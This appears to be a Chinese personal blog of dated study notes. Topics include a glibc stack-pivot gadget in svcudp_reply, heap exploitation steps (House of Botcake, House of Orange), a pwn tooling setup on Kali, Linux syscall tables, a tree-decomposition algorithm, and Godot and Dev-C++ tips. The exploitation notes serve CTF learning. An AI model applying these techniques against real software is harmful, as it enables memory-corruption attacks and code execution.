Mon May 05 2025 08:57:32 GMT+0800
在libc.so.6文件中存在一个被去符号的函数——svcudp_reply,它含有如下gadget:
mov rbp, [rdi+48h] ; 写入rbp的地址
mov rax, [rbp+18h] ; 确保rbp+0x18的位置,是leave ; ret的.text地址的地址-0x28(有点拗口)
lea r13, [rbp+10h]
mov dword ptr [rbp+10h], 0 ; 确保rbp+0x10位置可写
mov rdi, r13
call qword ptr [rax+28h] ; 调用leave ; ret
在IDA中可以通过搜索汇编指令搜索到,推荐搜索以下两条指令,它们的搜索结果是最少的:
mov rbp, [rdi+48h]
lea r13, [rbp+10h]
在rdi可控且写入数据的地址可获得的情况下,可以借助此gadget栈迁移到任意位置。
在只能执行一个函数的情况下,十分适合使用此方法,继续执行ROP调用更多函数。
Thu May 01 2025 14:56:19 GMT+0800
参考文献
Fastbin利用
名称 |
利用步骤 |
Fastbin Dup # Glibc 2.39 |
|
|
|
Tcache利用
Small/Large Bin利用
House of 系列
名称 |
利用步骤 |
House of Apple1 |
|
House of Apple2 |
|
House of Botcake # Glibc 2.39
|
Step 1:分配出9个Size相同且大于0x80的 Chunk(可能需要多一个使其与Top Chunk分隔开) Step 2:释放7个Chunk,填满对应的Tcache Bin Step 3:释放第8个Chunk(Chunk A),进入Unosrted Bin Step 4:释放第9个Chunk(Chunk B),将会引发Chunk A与Chunk B合并 Step 5:从该大小的Tcache Bin中分配出1个Chunk,给Double Chun B让位 Step 6:再次释放Chunk B,进入Tcache Finish:此时Chunk B同时存在于Unsorted Bin与Tcache中 |
House of Einherjar |
|
House of Force |
|
House of Gods |
|
House of Lore |
|
House of Mind Fastbin |
|
House of Orange # Glibc 2.23 # 无free()函数 |
Step 1:堆溢出修改Top Chunk的Size为较小值 Step 2:创建一个Size大于Top Chunk的Size的空间,这样Top Chunk就会被Free进Unsorted Bin Step 3:堆溢出修改这个Unsorted Bin的内容: (1) 写入/bin/sh\x00 (2) 修改 Unsorted Bin的大小为0x60(也可以为其他值,但是要找得到位置) (3) Unsorted Bin的bk指针为_IO_list_all-0x10 (??) (4) 构造合理的IO_FILE 结构通过判断 (5) 构造vtable,写入想要执行的函数 Step 4:分配这个Unsorteed Bin |
House of Roman |
|
House of Spirit |
|
House of Storm |
|
House of Tangerine |
|
House of Water |
|
Fri Apr 11 2025 09:15:58 GMT+0800
算法目的
维护静态树上的路径信息
算法流程
分两次DFS预处理出以下关键值:
DFS |
值 |
含义 |
获得方式 |
1 |
father[x] |
x在树中的父亲 |
在dfs传参中获得 |
1 |
dep[x] |
x在树中的深度 |
在dfs传参中获得 |
1 |
size[x] |
x为根的子树大小 |
在dfs传递归中获得 |
1 |
son[x] |
x的重儿子编号 |
在dfs传递归中获得 |
2 |
top[x] |
x所在的重路径的顶部结点编号 |
top[重儿子]=top[自己] top[轻儿子]=轻儿子 |
2 |
seg[x] |
x在线段树中的位置 |
按照先访问重儿子的顺序先序遍历树,使得每条重链上的节点在线段树上保持相邻 |
2 |
rev[y] |
y在树中的结点编号 |
这个简单 |
线段树的建树和查询的实现就只需按一般的做法
树链的查询
void ask (int x, int y)
{
int fx = top[x],fy = top[y];
while(fx != fy) //直到两个点在同一条重链上
{
if(dep[fx] < dep[fy]) //选择深度大的往上跳
swap(x, y),swap(fx, fy);
query(1, 1, seg[0], seg[fx], seg[x]);
x = father[fx]; fx=top[x];
}
if(dep[x] > dep[y]) //先序遍历导致:在同一棵子树上深度大的点在线段树中的位置靠后
swap(x, y);
query(1, 1, seg[0], seg[x], seg[y]) //而seg[x]<=seg[y]故dep[x]<=dep[y]
}
Thu Mar 13 2025 20:03:03 GMT+0800
图形编辑器
2D
模式 |
快捷键 |
描述 |
选择模式 |
Q |
Ctrl+拖动:围绕轴心旋转选中节点。 Alt+拖动:移动选中节点。 Ctrl+Alt+Drag:缩放选中节点V:设置选中节点的轴心位置。 Alt+右键:显示点击位置的所有节点列表,包含已锁定节点。 右键:在点击位置添加节点。 |
移动模式 |
W |
|
旋转模式 |
E |
|
缩放模式 |
R |
Shift:按比例缩放。 |
节点选择 |
|
|
修改轴心 |
|
点击修改对象的旋转轴心。 Shift:设置临时旋转轴心。 按住 Shift 点击该按钮可以将旋转轴心放置到所选节点的中心。 |
平移模式 |
G |
你还可以使用平移视图快捷键(默认为空格)在任何模式下平移 |
标尺模式 |
R |
|
使用智能吸附 |
Shift + S |
开关智能吸附。 |
使用栅格吸附 |
Shift + G |
开关栅格吸附。 |
吸附选项 |
|
|
锁定所选节点 |
Ctrl + L |
锁定选定的节点,防止选择和移动。 |
编组所选节点 |
Ctrl + G |
将所选节点与其子节点组合。这样在 2D 和 3D 视图中点击子节点就会选中父节点。 |
设置窗口大小:项目->项目设置->常规->显示->窗口->大小->视口宽/高度
节点的渲染顺序为树的深度优先遍历,同级按从上到下的顺序,后渲染的覆盖之前渲染的。
轴心点也叫中心点,用来给节点定位
锚点用来描述节点相对于父节点的位置
3D
还没学捏~
素材
图片素材
图片的切割:在检查器中勾选Region->Enabled[],然后点击下方“编辑区域”即可切割
图片的合并:在文件系统中选择多张图片,点击导入,导入为“TextureAtlas”
GDscript
GDscript是一个非常类似于Python的脚本语言
Tue Feb 11 2025 12:13:41 GMT+0800
玩linux的少不了系统重装,每次装系统都要配环境,故记录下环境配置的过程,方便再次查阅,也可以i在
GPG报错的解决方案
最近不管在安装Kali的时候,不管装的是vmware、wsl、live boot,在使用apt update的时候都会出现如下错误:
apt update
#Get:1 http://kali.download/kali kali-last-snapshot InRelease [41.5 kB]
#Err:1 http://kali.download/kali kali-last-snapshot InRelease
# Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key 827C8569F2518CC677FECA1AED65462EC8D5E4C5, which is needed to verify signature.
#Warning: GPG error: http://kali.download/kali kali-last-snapshot InRelease: Sub-process /usr/bin/sqv returned an error code (1), error message is: Missing key #827C8569F2518CC677FECA1AED65462EC8D5E4C5, which is needed to verify signature.
#Error: The repository 'http://http.kali.org/kali kali-last-snapshot InRelease' is not signed.
#Notice: Updating from such a repository can't be done securely, and is therefore disabled by default.
#Notice: See apt-secure(8) manpage for repository creation and user configuration details.
# 解决方法:
sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
apt、git clone、pip、gem下载速度慢的解决方案
apt换源
vim /etc/apt/sources.list
把http://http.kali.org/kali
换成http://mirrors.ustc.edu.cn/kali
然后输入apt update
和apt upgrade
git加速
在git clone
的时候把github.com
换成bgithub.xyz
(校园网环境测试:换之前<50KB/s,换之后>2.5MB/s)
pip限制解除及换源
临时换源
pip install 包名 -i https://pypi.tuna.tsinghua.edu.cn/simple
永久换源
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple
(校园网环境测试:换之前根本连不上,换之后>2.5MB/s)
(有必要也可以把pip换成pip3再执行一次,感觉没什么区别)
gem换源
# 总体来说换源前还勉强能用,可以先跳过
gem sources --remove https://rubygems.org/
gem sources -a https://gems.ruby-china.com/
gem sources -l
动态调试工具——gdb & pwndbg
apt install gdb
apt install python3
apt install python3-venv
git clone https://github.com/pwndbg/pwndbg.git
cd pwndbg
./setup.sh # 执行时最好使用流量,而不是校园网,我在使用校园网安装时报错了
安装完成后一定不要删除、移动pwndbg的setup源码,可以专门找一个文件夹给他放起来。
gadget查找工具——ROPgadget & one_gadget
# ROPgadget
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python3 setup.py install
# one_gadget
apt install ruby
gem install one_gadget
安装完成后可以删除git源码
一些可以用apt快速安装的工具
apt install tmux
apt install python3-pwntools
apt install checksec
最后附上WSL快捷使用的查询
版权所有 (c) Microsoft Corporation。保留所有权利。
有关此产品的隐私信息,请访问 https://aka.ms/privacy。
用法: wsl.exe [参数] [选项...][命令行]
运行 Linux 二进制文件的参数:
如果未提供命令行,wsl.exe 将启动默认 shell。
--exec, -e <CommandLine> 在不使用默认 Linux shell 的情况下执行指定的命令。
--shell-type <standard|login|none> 使用提供的 shell 类型执行指定的命令。
-- 按原样传递剩余的命令行。
选项:
--cd <Directory>
将指定目录设置为当前工作目录。
如果使用 ~,则将使用 Linux 用户的主路径。如果路径以
/ 字符开始,它将解释为绝对 Linux 路径。
否则,该值必须是绝对 Windows 路径。
--distribution, -d <Distro> 运行指定的分发版。
--user, -u <UserName> 以指定用户身份运行。
--system 为系统分发版启动 shell。
用于管理适用于 Linux 的 Windows 子系统的参数:
--help 显示使用情况信息。
--debug-shell 出于诊断目的打开 WSL2 调试 shell。
--install [发行版] [选项...]
安装适用于 Linux 的 Windows 子系统分发版。
有关有效分发版的列表,请使用 'wsl.exe --list --online'。
选项:
--no-launch, -n 安装后不要启动分发版。
--web-download 从 Internet 而不是 Microsoft Store 下载分发版。
--no-distribution 仅安装所需的可选组件,不安装分发版。
--enable-wsl1 启用 WSL1 支持。
--manage <Distro> <Options...> 更改发行版特定选项。
选项:
--move <Location> 将分发移到新位置。
--set-sparse, -s <true|false> 将发行版的 vhdx 设置为稀疏,从而允许自动回收磁盘空间。
--mount <Disk> 在所有 WSL 2 分发版中附加和装载物理磁盘或虚拟磁盘。
选项:
--vhd 指定 <Disk> 引用虚拟硬盘。
--bare 将磁盘附加到 WSL2,但不要装载它。
--name <Name> 使用装入点的自定义名称装载磁盘。
--type <Type> 装载磁盘时要使用的文件系统(如果未指定)默认为 ext4。
--options <Options> 其他装载选项。
--partition <Index> 要装载的分区的索引(如果未指定)默认为整个磁盘。
--set-default-version <Version> 更改新分发版的默认安装版本。
--shutdown 立即终止所有正在运行的分发版和 WSL 2轻型实用工具虚拟机。
--status 显示适用于 Linux 的 Windows 子系统状态。
--unmount [磁盘] 从所有 WSL2 分发版中卸载和分离磁盘。
如果在没有参数的情况下调用,则卸载和分离所有磁盘。
--uninstall 从此计算机卸载适用于 Linux 的 Windows 子系统包。
--update 更新适用于 Linux 的 Windows 子系统包。
选项:
--pre-release
下载预发行版本(如果可用)。
--version, -v 显示版本信息。
用于在适用于 Linux 的 Windows 子系统中管理分发版的参数:
--export <Distro> <FileName> [选项]
将分发版导出到 tar 文件。
文件名可以是 - for stdout。
选项:
--vhd
指定应将分发版导出为 .vhdx 文件。
--import <Distro> <InstallLocation> <FileName> [选项]
将指定的 tar 文件作为新分发版导入。
文件名可以是 - for stdin。
选项:
--version <Version>
指定要用于新分发的版本。
--vhd
指定所提供的文件是 .vhdx 文件,而不是 tar 文件。
此操作在指定的安装位置创建 .vhdx 文件的副本。
--import-in-place <Distro> <FileName>
将指定的 .vhdx 文件作为新分发版导入。
必须使用 ext4 文件系统类型设置此虚拟硬盘的格式。
--list, -l [选项] 列出分发版。
选项:
--all 列出所有分发版,包括当前正在安装或卸载的分发版。
--running 仅列出当前正在运行的分发版。
--quiet, -q 仅显示分发版名称。
--verbose, -v 显示有关所有分发版的详细信息。
--online, -o 显示适合通过 'wsl --install' 安装的可用分发版列表。
--set-default, -s <Distro> 将分布版设置为默认值。
--set-version <Distro> <Version> 更改指定分发版的版本。
--terminate, -t <Distro> 终止指定的分发版。
--unregister <Distro> 取消注册分发版并删除根文件系统。
命令很多,有用的就那几个:
wsl --list -v # 查看已安装的虚拟机的详细信息
wsl --unregister <Distro> # 彻底删除一个wsl虚拟机
wsl --export <Distro> <FileName.vhdx> --vhd #导出一个wsl虚拟机 (一般vhd比tar大)
wsl --import <Distro> <InstallLocation> <Filename.vhdx> --vhd #导入一个wsl虚拟机
wsl --set-default <Distro> # 设置默认启动的wsl虚拟机
Sun Dec 15 2024 20:30:56 GMT+0800
32位
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
restart_syscall |
0 |
getpgrp |
65 |
get_kernel_syms |
130 |
stat64 |
195 |
timer_delete |
263 |
epoll_create1 |
329 |
exit |
1 |
setsid |
66 |
quotactl |
131 |
lstat64 |
196 |
clock_settime |
264 |
dup3 |
330 |
fork |
2 |
sigaction |
67 |
getpgid |
132 |
fstat64 |
197 |
clock_gettime |
265 |
pipe2 |
331 |
read |
3 |
sgetmask |
68 |
fchdir |
133 |
lchown32 |
198 |
clock_getres |
266 |
inotify_init1 |
332 |
write |
4 |
ssetmask |
69 |
bdflush |
134 |
getuid32 |
199 |
clock_nanosleep |
267 |
preadv |
333 |
open |
5 |
setreuid |
70 |
sysfs |
135 |
getgid32 |
200 |
statfs64 |
268 |
pwritev |
334 |
close |
6 |
setregid |
71 |
personality |
136 |
geteuid32 |
201 |
fstatfs64 |
269 |
rt_tgsigqueueinfo |
335 |
waitpid |
7 |
sigsuspend |
72 |
afs_syscall |
137 |
getegid32 |
202 |
tgkill |
270 |
perf_event_open |
336 |
creat |
8 |
sigpending |
73 |
setfsuid |
138 |
setreuid32 |
203 |
utimes |
271 |
recvmmsg |
337 |
link |
9 |
sethostname |
74 |
setfsgid |
139 |
setregid32 |
204 |
fadvise64_64 |
272 |
fanotify_init |
338 |
unlink |
10 |
setrlimit |
75 |
_llseek |
140 |
getgroups32 |
205 |
vserver |
273 |
fanotify_mark |
339 |
execve |
11 |
getrlimit |
76 |
getdents |
141 |
setgroups32 |
206 |
mbind |
274 |
prlimit64 |
340 |
chdir |
12 |
getrusage |
77 |
_newselect |
142 |
fchown32 |
207 |
get_mempolicy |
275 |
name_to_handle_at |
341 |
time |
13 |
gettimeofday |
78 |
flock |
143 |
setresuid32 |
208 |
set_mempolicy |
276 |
open_by_handle_at |
342 |
mknod |
14 |
settimeofday |
79 |
msync |
144 |
getresuid32 |
209 |
mq_open |
277 |
clock_adjtime |
343 |
chmod |
15 |
getgroups |
80 |
readv |
145 |
setresgid32 |
210 |
mq_unlink |
278 |
syncfs |
344 |
lchown |
16 |
setgroups |
81 |
writev |
146 |
getresgid32 |
211 |
mq_timedsend |
279 |
sendmmsg |
345 |
break |
17 |
select |
82 |
getsid |
147 |
chown32 |
212 |
mq_timedreceive |
280 |
setns |
346 |
oldstat |
18 |
symlink |
83 |
fdatasync |
148 |
setuid32 |
213 |
mq_notify |
281 |
process_vm_readv |
347 |
lseek |
19 |
oldlstat |
84 |
_sysctl |
149 |
setgid32 |
214 |
mq_getsetattr |
282 |
process_vm_writev |
348 |
getpid |
20 |
readlink |
85 |
mlock |
150 |
setfsuid32 |
215 |
kexec_load |
283 |
kcmp |
349 |
mount |
21 |
uselib |
86 |
munlock |
151 |
setfsgid32 |
216 |
waitid |
284 |
finit_module |
350 |
umount |
22 |
swapon |
87 |
mlockall |
152 |
pivot_root |
217 |
add_key |
286 |
sched_setattr |
351 |
setuid |
23 |
reboot |
88 |
munlockall |
153 |
mincore |
218 |
request_key |
287 |
sched_getattr |
352 |
getuid |
24 |
readdir |
89 |
sched_setparam |
154 |
madvise |
219 |
keyctl |
288 |
renameat2 |
353 |
stime |
25 |
mmap |
90 |
sched_getparam |
155 |
getdents64 |
220 |
ioprio_set |
289 |
seccomp |
354 |
ptrace |
26 |
munmap |
91 |
sched_setscheduler |
156 |
fcntl64 |
221 |
ioprio_get |
290 |
getrandom |
355 |
alarm |
27 |
truncate |
92 |
sched_getscheduler |
157 |
gettid |
224 |
inotify_init |
291 |
memfd_create |
356 |
oldfstat |
28 |
ftruncate |
93 |
sched_yield |
158 |
readahead |
225 |
inotify_add_watch |
292 |
bpf |
357 |
pause |
29 |
fchmod |
94 |
sched_get_priority_max |
159 |
setxattr |
226 |
inotify_rm_watch |
293 |
execveat |
358 |
utime |
30 |
fchown |
95 |
sched_get_priority_min |
160 |
lsetxattr |
227 |
migrate_pages |
294 |
socket |
359 |
stty |
31 |
getpriority |
96 |
sched_rr_get_interval |
161 |
fsetxattr |
228 |
openat |
295 |
socketpair |
360 |
gtty |
32 |
setpriority |
97 |
nanosleep |
162 |
getxattr |
229 |
mkdirat |
296 |
bind |
361 |
access |
33 |
profil |
98 |
mremap |
163 |
lgetxattr |
230 |
mknodat |
297 |
connect |
362 |
nice |
34 |
statfs |
99 |
setresuid |
164 |
fgetxattr |
231 |
fchownat |
298 |
listen |
363 |
ftime |
35 |
fstatfs |
100 |
getresuid |
165 |
listxattr |
232 |
futimesat |
299 |
accept4 |
364 |
sync |
36 |
ioperm |
101 |
vm86 |
166 |
llistxattr |
233 |
fstatat64 |
300 |
getsockopt |
365 |
kill |
37 |
socketcall |
102 |
query_module |
167 |
flistxattr |
234 |
unlinkat |
301 |
setsockopt |
366 |
rename |
38 |
syslog |
103 |
poll |
168 |
removexattr |
235 |
renameat |
302 |
getsockname |
367 |
mkdir |
39 |
setitimer |
104 |
nfsservctl |
169 |
lremovexattr |
236 |
linkat |
303 |
getpeername |
368 |
rmdir |
40 |
getitimer |
105 |
setresgid |
170 |
fremovexattr |
237 |
symlinkat |
304 |
sendto |
369 |
dup |
41 |
stat |
106 |
getresgid |
171 |
tkill |
238 |
readlinkat |
305 |
sendmsg |
370 |
pipe |
42 |
lstat |
107 |
prctl |
172 |
sendfile64 |
239 |
fchmodat |
306 |
recvfrom |
371 |
times |
43 |
fstat |
108 |
rt_sigreturn |
173 |
futex |
240 |
faccessat |
307 |
recvmsg |
372 |
prof |
44 |
olduname |
109 |
rt_sigaction |
174 |
sched_setaffinity |
241 |
pselect6 |
308 |
shutdown |
373 |
brk |
45 |
iopl |
110 |
rt_sigprocmask |
175 |
sched_getaffinity |
242 |
ppoll |
309 |
userfaultfd |
374 |
setgid |
46 |
vhangup |
111 |
rt_sigpending |
176 |
set_thread_area |
243 |
unshare |
310 |
membarrier |
375 |
getgid |
47 |
idle |
112 |
rt_sigtimedwait |
177 |
get_thread_area |
244 |
set_robust_list |
311 |
mlock2 |
376 |
signal |
48 |
vm86old |
113 |
rt_sigqueueinfo |
178 |
io_setup |
245 |
get_robust_list |
312 |
copy_file_range |
377 |
geteuid |
49 |
wait4 |
114 |
rt_sigsuspend |
179 |
io_destroy |
246 |
splice |
313 |
preadv2 |
378 |
getegid |
50 |
swapoff |
115 |
pread64 |
180 |
io_getevents |
247 |
sync_file_range |
314 |
pwritev2 |
379 |
acct |
51 |
sysinfo |
116 |
pwrite64 |
181 |
io_submit |
248 |
tee |
315 |
|
|
umount2 |
52 |
ipc |
117 |
chown |
182 |
io_cancel |
249 |
vmsplice |
316 |
|
|
lock |
53 |
fsync |
118 |
getcwd |
183 |
fadvise64 |
250 |
move_pages |
317 |
|
|
ioctl |
54 |
sigreturn |
119 |
capget |
184 |
exit_group |
252 |
getcpu |
318 |
|
|
fcntl |
55 |
clone |
120 |
capset |
185 |
lookup_dcookie |
253 |
epoll_pwait |
319 |
|
|
mpx |
56 |
setdomainname |
121 |
sigaltstack |
186 |
epoll_create |
254 |
utimensat |
320 |
|
|
setpgid |
57 |
uname |
122 |
sendfile |
187 |
epoll_ctl |
255 |
signalfd |
321 |
|
|
ulimit |
58 |
modify_ldt |
123 |
getpmsg |
188 |
epoll_wait |
256 |
timerfd_create |
322 |
|
|
oldolduname |
59 |
adjtimex |
124 |
putpmsg |
189 |
remap_file_pages |
257 |
eventfd |
323 |
|
|
umask |
60 |
mprotect |
125 |
vfork |
190 |
set_tid_address |
258 |
fallocate |
324 |
|
|
chroot |
61 |
sigprocmask |
126 |
ugetrlimit |
191 |
timer_create |
259 |
timerfd_settime |
325 |
|
|
ustat |
62 |
create_module |
127 |
mmap2 |
192 |
timer_settime |
260 |
timerfd_gettime |
326 |
|
|
dup2 |
63 |
init_module |
128 |
truncate64 |
193 |
timer_gettime |
261 |
signalfd4 |
327 |
|
|
getppid |
64 |
delete_module |
129 |
ftruncate64 |
194 |
timer_getoverrun |
262 |
eventfd2 |
328 |
|
|
64位
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
函数 |
调用号 |
read |
0 |
getsockopt |
55 |
getppid |
110 |
mount |
165 |
semtimedop |
220 |
splice |
275 |
write |
1 |
clone |
56 |
getpgrp |
111 |
umount2 |
166 |
fadvise64 |
221 |
tee |
276 |
open |
2 |
fork |
57 |
setsid |
112 |
swapon |
167 |
timer_create |
222 |
sync_file_range |
277 |
close |
3 |
vfork |
58 |
setreuid |
113 |
swapoff |
168 |
timer_settime |
223 |
vmsplice |
278 |
stat |
4 |
execve |
59 |
setregid |
114 |
reboot |
169 |
timer_gettime |
224 |
move_pages |
279 |
fstat |
5 |
exit |
60 |
getgroups |
115 |
sethostname |
170 |
timer_getoverrun |
225 |
utimensat |
280 |
lstat |
6 |
wait4 |
61 |
setgroups |
116 |
setdomainname |
171 |
timer_delete |
226 |
epoll_pwait |
281 |
poll |
7 |
kill |
62 |
setresuid |
117 |
iopl |
172 |
clock_settime |
227 |
signalfd |
282 |
lseek |
8 |
uname |
63 |
getresuid |
118 |
ioperm |
173 |
clock_gettime |
228 |
timerfd_create |
283 |
mmap |
9 |
semget |
64 |
setresgid |
119 |
create_module |
174 |
clock_getres |
229 |
eventfd |
284 |
mprotect |
10 |
semop |
65 |
getresgid |
120 |
init_module |
175 |
clock_nanosleep |
230 |
fallocate |
285 |
munmap |
11 |
semctl |
66 |
getpgid |
121 |
delete_module |
176 |
exit_group |
231 |
timerfd_settime |
286 |
brk |
12 |
shmdt |
67 |
setfsuid |
122 |
get_kernel_syms |
177 |
epoll_wait |
232 |
timerfd_gettime |
287 |
rt_sigaction |
13 |
msgget |
68 |
setfsgid |
123 |
query_module |
178 |
epoll_ctl |
233 |
accept4 |
288 |
rt_sigprocmask |
14 |
msgsnd |
69 |
getsid |
124 |
quotactl |
179 |
tgkill |
234 |
signalfd4 |
289 |
rt_sigreturn |
15 |
msgrcv |
70 |
capget |
125 |
nfsservctl |
180 |
utimes |
235 |
eventfd2 |
290 |
ioctl |
16 |
msgctl |
71 |
capset |
126 |
getpmsg |
181 |
vserver |
236 |
epoll_create1 |
291 |
pread64 |
17 |
fcntl |
72 |
rt_sigpending |
127 |
putpmsg |
182 |
mbind |
237 |
dup3 |
292 |
pwrite64 |
18 |
flock |
73 |
rt_sigtimedwait |
128 |
afs_syscall |
183 |
set_mempolicy |
238 |
pipe2 |
293 |
readv |
19 |
fsync |
74 |
rt_sigqueueinfo |
129 |
tuxcall |
184 |
get_mempolicy |
239 |
inotify_init1 |
294 |
writev |
20 |
fdatasync |
75 |
rt_sigsuspend |
130 |
security |
185 |
mq_open |
240 |
preadv |
295 |
access |
21 |
truncate |
76 |
sigaltstack |
131 |
gettid |
186 |
mq_unlink |
241 |
pwritev |
296 |
pipe |
22 |
ftruncate |
77 |
utime |
132 |
readahead |
187 |
mq_timedsend |
242 |
rt_tgsigqueueinfo |
297 |
select |
23 |
getdents |
78 |
mknod |
133 |
setxattr |
188 |
mq_timedreceive |
243 |
perf_event_open |
298 |
sched_yield |
24 |
getcwd |
79 |
uselib |
134 |
lsetxattr |
189 |
mq_notify |
244 |
recvmmsg |
299 |
mremap |
25 |
chdir |
80 |
personality |
135 |
fsetxattr |
190 |
mq_getsetattr |
245 |
fanotify_init |
300 |
msync |
26 |
fchdir |
81 |
ustat |
136 |
getxattr |
191 |
kexec_load |
246 |
fanotify_mark |
301 |
mincore |
27 |
rename |
82 |
statfs |
137 |
lgetxattr |
192 |
waitid |
247 |
prlimit64 |
302 |
madvise |
28 |
mkdir |
83 |
fstatfs |
138 |
fgetxattr |
193 |
add_key |
248 |
name_to_handle_at |
303 |
shmget |
29 |
rmdir |
84 |
sysfs |
139 |
listxattr |
194 |
request_key |
249 |
open_by_handle_at |
304 |
shmat |
30 |
creat |
85 |
getpriority |
140 |
llistxattr |
195 |
keyctl |
250 |
clock_adjtime |
305 |
shmctl |
31 |
link |
86 |
setpriority |
141 |
flistxattr |
196 |
ioprio_set |
251 |
syncfs |
306 |
dup |
32 |
unlink |
87 |
sched_setparam |
142 |
removexattr |
197 |
ioprio_get |
252 |
sendmmsg |
307 |
dup2 |
33 |
symlink |
88 |
sched_getparam |
143 |
lremovexattr |
198 |
inotify_init |
253 |
setns |
308 |
pause |
34 |
readlink |
89 |
sched_setscheduler |
144 |
fremovexattr |
199 |
inotify_add_watch |
254 |
getcpu |
309 |
nanosleep |
35 |
chmod |
90 |
sched_getscheduler |
145 |
tkill |
200 |
inotify_rm_watch |
255 |
process_vm_readv |
310 |
getitimer |
36 |
fchmod |
91 |
sched_get_priority_max |
146 |
time |
201 |
migrate_pages |
256 |
process_vm_writev |
311 |
alarm |
37 |
chown |
92 |
sched_get_priority_min |
147 |
futex |
202 |
openat |
257 |
kcmp |
312 |
setitimer |
38 |
fchown |
93 |
sched_rr_get_interval |
148 |
sched_setaffinity |
203 |
mkdirat |
258 |
finit_module |
313 |
getpid |
39 |
lchown |
94 |
mlock |
149 |
sched_getaffinity |
204 |
mknodat |
259 |
sched_setattr |
314 |
sendfile |
40 |
umask |
95 |
munlock |
150 |
set_thread_area |
205 |
fchownat |
260 |
sched_getattr |
315 |
socket |
41 |
gettimeofday |
96 |
mlockall |
151 |
io_setup |
206 |
futimesat |
261 |
renameat2 |
316 |
connect |
42 |
getrlimit |
97 |
munlockall |
152 |
io_destroy |
207 |
newfstatat |
262 |
seccomp |
317 |
accept |
43 |
getrusage |
98 |
vhangup |
153 |
io_getevents |
208 |
unlinkat |
263 |
getrandom |
318 |
sendto |
44 |
sysinfo |
99 |
modify_ldt |
154 |
io_submit |
209 |
renameat |
264 |
memfd_create |
319 |
recvfrom |
45 |
times |
100 |
pivot_root |
155 |
io_cancel |
210 |
linkat |
265 |
kexec_file_load |
320 |
sendmsg |
46 |
ptrace |
101 |
_sysctl |
156 |
get_thread_area |
211 |
symlinkat |
266 |
bpf |
321 |
recvmsg |
47 |
getuid |
102 |
prctl |
157 |
lookup_dcookie |
212 |
readlinkat |
267 |
execveat |
322 |
shutdown |
48 |
syslog |
103 |
arch_prctl |
158 |
epoll_create |
213 |
fchmodat |
268 |
userfaultfd |
323 |
bind |
49 |
getgid |
104 |
adjtimex |
159 |
epoll_ctl_old |
214 |
faccessat |
269 |
membarrier |
324 |
listen |
50 |
setuid |
105 |
setrlimit |
160 |
epoll_wait_old |
215 |
pselect6 |
270 |
mlock2 |
325 |
getsockname |
51 |
setgid |
106 |
chroot |
161 |
remap_file_pages |
216 |
ppoll |
271 |
copy_file_range |
326 |
getpeername |
52 |
geteuid |
107 |
sync |
162 |
getdents64 |
217 |
unshare |
272 |
preadv2 |
327 |
socketpair |
53 |
getegid |
108 |
acct |
163 |
set_tid_address |
218 |
set_robust_list |
273 |
pwritev2 |
328 |
setsockopt |
54 |
setpgid |
109 |
settimeofday |
164 |
restart_syscall |
219 |
get_robust_list |
274 |
|
|
Thu Oct 31 2024 15:04:15 GMT+0800
头记
鉴于使用原版DEV-C++
不得不说十分滞后,人家Visual Studio
多高端,本人写下此文章,使用一些奇技淫巧,美化和增强此IDE,个人认为可以和Visual Studio
相媲美
样式美化

点击顶部菜单栏工具
点击下拉列表中的编译器选项
点击新弹出的窗口中的基本
取消勾选高亮显示当前行
,或者后面你再选择你喜欢的颜色。
点击还是这个窗口中的语法
(和“基本”在同一排)
选择预设
为 Obsidian,保存一下再进行以下修改
修改以下几个地方:(都只改前景和样式,背景不改,改完记得点确定)
Preprocessor: (自定义)红136+绿99+蓝173+下划线
Reserved Word: (自定义)红106+绿185+蓝255+下划线
Identifier: Silver
String:(自定义)红255+绿128+蓝128
Symbol:(自定义)同上String
取消完成符号(个人喜好)
点击顶部菜单栏工具
->点击编译器选项
点击新弹出的窗口中的代码补全
点击完成符号
取消勾选启用符号配对

编译选项优化
点击顶部菜单栏工具
点击下拉列表中的编译选项
点击新弹出的窗口中的代码生成/优化
点击代码警告
设显示最多警告信息(-Wall)
为Yes
(有必要的可以设“显示所有警告为错误(-Werror)”为Yes)

使用自己的mingw-w64
(Dev-C++ 5.11自带的mingw-w64的版本才4.9.2,我们可以使用自己最新版的mingw-w64,目前是8.1.0)
mingw-w64的下载安装教程,在这里有
打开Dev-C++过程中一定不要关闭
打开你Dev-C++安装的位置(默认在C:\Program Files (x86)\Dev-Cpp)
用你的MinGW64覆盖掉自带的MinGW64的文件夹
然后点击Dev-C++菜单栏 文件
-> 编译选项
-> 点击 目录
点击C包含文件
和C++包含文件
把里面路径所有的4.9.2换成8.1.0(即你所用的版本)
然后重新打开Dev-C++进行配置
修改样例(修改后点击替换):

注:如果你过程中关闭了Dev-C++重新打开时他会提示你“路径无效,是否删除无效路径”请选择否,不然你的许多头文件会用不了
接下来配置一下


格式化修改
点击顶部菜单栏AStyle
点击下拉列表中的格式化选项
选择选项——括号风格
为Allman(个人喜欢)(默认的Java也还行)
在编辑代码的时候按Ctrl+Shift+A就可以自动格式化啦

设置透明编辑器

点击这里下载Glass2k程序
解压并打开Glass2k.exe
(怎么都是英文的?!别怕)
如果没有显示界面那就看看任务栏右下角有没有三个箱子堆起来的图标,右键点Settings
有三个勾选框,简单翻译一下,第一个是开机启动,第二个是记住透明度设置,第三个是深度使用该软件(建议勾选第二和第三个)(下面那个蓝蓝的条是用来设置任务栏的透明度的)
接下来为了避免鼠标按键冲突,设置Right Click
: + Ctrl + Shift
然后打开DEV-C++,按着Ctrl + Shift + 右键
点击DEV-C++窗口的任意地方,就会出现一个列表,选择你想要的透明度就可以啦(建议设置80%)

(PS:这个软件也可以用在其他一些地方哦,如:浏览器,文件夹等)
一些快捷键
f9编译,f10运行,f11编译运行(这个应该不用我多说)
f5调试(记得把设定编译器配置改为TDM-GCC 4.9.2 64-bit Debug),F7下一步,F8单步进入(这个应该也不用我多说)
Ctrl+f11全屏/取消全屏,样例:

当你打开了两个文件时,让你的页面停留在一个文件,按Ctrl+M就可以把另一个文件在新的页面打开,样例:

最后
Dev-C++跟目前的主流代码编辑器相比已被拉开巨大的差距,但
文章到此就结束了,还在持续更新,给个赞再走呗
Fri Jul 26 2024 17:39:06 GMT+0800
虚拟机+无线网卡(推荐)
